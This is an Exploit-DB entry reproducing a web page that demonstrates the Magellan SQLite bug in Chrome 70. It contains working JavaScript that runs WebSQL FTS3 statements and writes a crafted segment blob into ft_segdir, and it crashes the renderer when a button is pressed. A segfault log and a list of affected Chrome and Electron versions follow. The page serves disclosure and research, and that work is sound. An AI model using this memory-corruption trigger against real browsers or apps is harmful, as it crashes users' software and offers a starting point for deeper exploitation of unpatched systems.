Google Chrome 70 – SQLite Magellan Crash (PoC)

  • 作者: zhuowei
    日期: 2018-12-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46042/
  • <!---
    title: Crash Chrome 70 with the SQLite Magellan bug
    categories: chrome
    permalink: /sqlitebug/
    layout: post
    ---!>
    
    <p>This proof-of-concept crashes the Chrome renderer process using <a href="https://blade.tencent.com/magellan/index_en.html">Tencent Blade Team's Magellan SQLite3 bug</a>. It's based on<a href="https://www.sqlite.org/src/info/940f2adc8541a838">a SQLite test case</a> from the commit that fixed the bug.</p>
    
    <p><span id="prompttext">If you're using Chrome 70 or below, tap the button below to crash this page:</span></p>
    <button onClick="crash()" style="font-size: 150%">Crash this page</button>
    <p>Your browser's user agent is: <span id="browserUserAgent">not available without JavaScript. Turn it on!</span></p>
    
    <p><a href="https://github.com/zhuowei/worthdoingbadly.com/blob/master/_posts/2018-12-14-sqlitebug.html">Source code for this page on GitHub</a>.</p>
    
    <h1>Sign up for more information</h1>
    <p>I'm working on understanding how this issue affects browsers. To get notified when I update this page, please sign up to my mailing list:</p>
    <form action="https://worthdoingbadly.us18.list-manage.com/subscribe/post?u=3f9820ca33ce6a7b1e682c9ac&id=014e6793b7&SIGNUP=inline-sqlitebug" method="post" id="mc-embedded-subscribe-form-inline" name="mc-embedded-subscribe-form-inline" class="validate" target="_blank">
    <input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL" placeholder="Email">
    <div style="position: absolute; left: -5000px;" aria-hidden="true"><input type="text" name="b_3f9820ca33ce6a7b1e682c9ac_014e6793b7" tabindex="-1" value=""></div>
    <input type="submit" value="Subscribe" name="subscribe" id="mc-embedded-subscribe" class="button">
    </form>
    
    <h1>What's supposed to happen?</h1>
    <p>After you press the button, the page should crash:</p>
    <p><img src="https://www.exploit-db.com/assets/blog/sqlitebug/sqlite_cropped.png" alt="screenshot"></p>
    <p>On Android 5.1, I get a segfault in memcpy:</p>
    <pre style="font-size: 10px">
    F/libc( 3801): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xe0ddb457 in tid 3854 (Database thread)
    I/DEBUG (142): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
    I/DEBUG (142): Build fingerprint: 'google/nakasi/grouper:5.1/LMY47D/1743759:user/release-keys'
    I/DEBUG (142): Revision: '0'
    I/DEBUG (142): ABI: 'arm'
    I/DEBUG (142): pid: 3801, tid: 3854, name: Database thread>>> com.android.chrome:sandboxed_process6 <<<
    I/DEBUG (142): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xe0ddb457
    I/DEBUG (142): r0 e0ddb457r1 611be0abr2 00000002r3 ff000000
    I/DEBUG (142): r4 611be038r5 00000002r6 611be0a9r7 7fffffff
    I/DEBUG (142): r8 00000001r9 611be0absl 80000001fp 00000000
    I/DEBUG (142): ip 00000066sp 6defd3a0lr 00000074pc 4025eb62cpsr 680f2430
    I/DEBUG (142): 
    I/DEBUG (142): backtrace:
    I/DEBUG (142): #00 pc 0000fb62/system/lib/libc.so (__memcpy_base+217)
    I/DEBUG (142): #01 pc 018d0e1d/data/app/com.android.chrome-1/base.apk
    </pre>
    
    <h1>What's affected?</h1>
    <p>Affected: tested, causes one tab/one window to crash:</p>
    <ul>
    <li>Chrome 70.0.3538.110 on Android 5.1 and 9</li>
    <li>Electron 2.0.12 on macOS 10.14</li>
    </ul>
    <p>Not affected:</p>
    <ul>
    <li>Chrome 71.0.3578.98 on Android 8.1 (already fixed)</li>
    <li>Safari (doesn't have FTS enabled in SQLite3)</li>
    <li>Browsers not based on Chrome (no WebSQL support)</li>
    </ul>
    
    <script>
    // https://gist.github.com/nolanlawson/0264938033aca2201012
    // https://www.sqlite.org/src/info/940f2adc8541a838
    const db = openDatabase('fts_demo', 1, 'fts_demo', 5000000);
    
    const firstStatements = [
    "DROP TABLE IF EXISTS ft;",
    "CREATE VIRTUAL TABLE ft USING fts3;",
    "INSERT INTO ft VALUES('aback');",
    "INSERT INTO ft VALUES('abaft');",
    "INSERT INTO ft VALUES('abandon');",
    ];
    
    const secondStatements = [
    "SELECT quote(root) from ft_segdir;",
    "UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';",
    "SELECT * FROM ft WHERE ft MATCH 'abandon';"
    ];
    
    function dbSuccess() {
    	console.log("success");
    	console.log(arguments);
    }
    
    function dbErr() {
    	console.log("err");
    	console.log(arguments);
    }
    
    function runAll(statements, success) {
    	db.transaction((tx) => {
    		console.log("alive");
    		for (const statement of statements) {
    			console.log("queueing " + statement);
    			tx.executeSql(statement, [], dbSuccess, dbErr);
    		}
    		console.log("queued");
    	}, dbErr, success);
    }
    function crash() {
    	runAll(firstStatements, (event) => {
    		console.log(event);
    		runAll(secondStatements, (event) => {
    			console.log(event);
    		});
    	});
    }
    // onload
    function getChromeVersion(userAgent) {
    for (const part of userAgent.split(" ")) {
    if (part.startsWith("Chrome/") || part.startsWith("Chromium/")) {
    return part.substring(part.indexOf("/") + 1);
    }
    }
    return null;
    }
    function isChromeSupported(chromeVersion) {
    if (chromeVersion == null) return false;
    const firstPart = chromeVersion.substring(0, chromeVersion.indexOf("."));
    return parseInt(firstPart) <= 70;
    }
    function getPromptText(userAgent) {
    const chromeVersion = getChromeVersion(userAgent);
    if (chromeVersion == null) {
    return "This demo only works on Chrome 70 or below. Open this page in Chrome 70, then tap the button.";
    }
    const chromeOK = isChromeSupported(chromeVersion);
    if (chromeOK) {
    return "You're using Chrome 70 or below, so you may be vulnerable. Tap the button to crash this page.";
    }
    return "Your Chrome is too new. Open this page in Chrome 70, then tap the button.";
    }
    function onLoad() {
    document.getElementById("browserUserAgent").textContent = navigator.userAgent;
    document.getElementById("prompttext").textContent = getPromptText(navigator.userAgent);
    }
    window.onload = onLoad;
    </script>